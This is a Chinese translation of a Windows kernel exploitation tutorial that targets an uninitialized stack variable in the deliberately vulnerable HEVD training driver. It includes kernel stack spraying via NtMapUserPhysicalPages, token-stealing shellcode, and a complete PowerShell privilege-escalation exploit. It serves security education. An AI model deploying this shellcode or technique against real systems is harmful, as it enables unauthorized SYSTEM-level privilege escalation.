Windows exploit系列教程第十三部分:内核利用程序之未初始化栈变量

fuzzySecurity于16年更新了数篇Windows内核exp的教程,本文是内核篇的第四篇。点击查看原文

内核利用程序之未初始化栈变量

欢迎回到Windows exp开发系列教材的第13部分。今天我们将编写一个基于HEVD有漏洞驱动的未初始化栈变量exp。调试环境的安装请参考第十部分。让我们开始吧!

  • NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques (@j00ru) - here

侦查挑战

简单的看一下有问题的函数(here)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
// the callback
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
// Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
// because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_STACK_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedStackVariable.Value = UserValue;
UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}

如果我们传入一个正确的魔数,它会填充变量以及回调参数。如果传递的值不正确那么就不会填充。这里的问题在于变量定义时并没有设置一个特定的初始值。由于该变量布局在栈上,它会拥有一个前调用函数遗留的随机垃圾值。注意到这样的一个检查(if UninitializedStackVariable.Callback…)毫无卵用并不能阻止其崩溃。

该函数的IOCTL码是0x22202F。可以查看本系列教程的第十部分和第十一部分来了解IOCTL是如何被识别的。转入IDA来看看这个函数。

思考一下上图的4个函数块。如果比较成功我们就会命中绿色块,在这里我们的变量被填充了适当的值,此后在红色块中当回调函数被调用时也不会出什么意外。

不错,然而如果我们比较失败了,跳过了绿色快,继续下行调用函数的时候,我们调用的将是一个内核栈上的垃圾值!

这个值是不固定的,如果你尝试重现,很可能会在Windbg中看到不同的值。在虚拟机BSOD之前,让我们快速的看一下该变量距离当前栈起始位置有多远。

计算方式:0x8a15ced0 - 0x8a15c9cc = 0x504 (1284 bytes)

让我们重新执行并对BSOD进行心智健全检查。

Pwn

如果我们可以覆盖内核栈上的整型指针为我们shellcode的地址就大功告成了,但是这要怎么做呢?看起来内核栈喷射是个办法,我强烈推荐你去阅读@j00ru的这篇文章 。有一个未文档化的函数,NtMapUserPhysicalPages,我们不关心它用于干什么,但它的一部分功能是拷贝输入的字节到内核栈上的一个本地缓冲区。最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节=>4096字节)。对我们的需求来说足够了,下面的POC用以展示!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("ntdll.dll")]
public static extern uint NtMapUserPhysicalPages(
IntPtr BaseAddress,
UInt32 NumberOfPages,
Byte[] PageFrameNumbers);
}
"@
# $KernelStackSpray = 4*1024
$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024
# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),
# however, by that time the buffer is already on the Kernel stack ;)
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null

我们在NtMapUserPhysicalPages函数返回前下一个断点,运行POC以检阅内核栈。

完美,在NtMapUserPhysicalPages返回后,栈应该被设置下去。因此我们可以污染该未初始化栈变量并调用该驱动函数。注意到该喷射是不连续的,巡视之后我发现栈上有大小相当的块(sizable chunks)但是他们被存储的值分割开来(我推测)。幸运的是,我们需要的偏移处可以被正确设置。

还有个关键点是栈不是一成不变的,因此最好在恰好触发bug之前进行喷射,这可以避免缓冲区被更少的操作修改。

再一次,我们覆盖该函数调用为那个重用的窃取token的shellcode地址,它和前面的章节一致无需任何修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC3 # ret
)

我们的exp工作流将如下:(1)将shellcode放在内存任意位置,(2)使用指向shellcode的指针喷射内核栈,(3)触发未初始化变量漏洞。

终结

这就是所有的内容,可以参考下面的完整exp来了解更多信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("ntdll.dll")]
public static extern uint NtMapUserPhysicalPages(
IntPtr BaseAddress,
UInt32 NumberOfPages,
Byte[] PageFrameNumbers);
}
"@
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC3 # ret
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques
# Shellocde IntPtr spray..
$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024
echo "`n[>] Kernel stack spray.."
echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"
echo "[+] Payload size: $([IntPtr]::Size)`n"
echo "[>] Call NtMapUserPhysicalPages & trigger bug.."
echo "[+] Radio silence..`n"
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)
[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

文章目录
  1. 1. 内核利用程序之未初始化栈变量
    1. 1.1. 侦查挑战
    2. 1.2. Pwn
    3. 1.3. 终结
,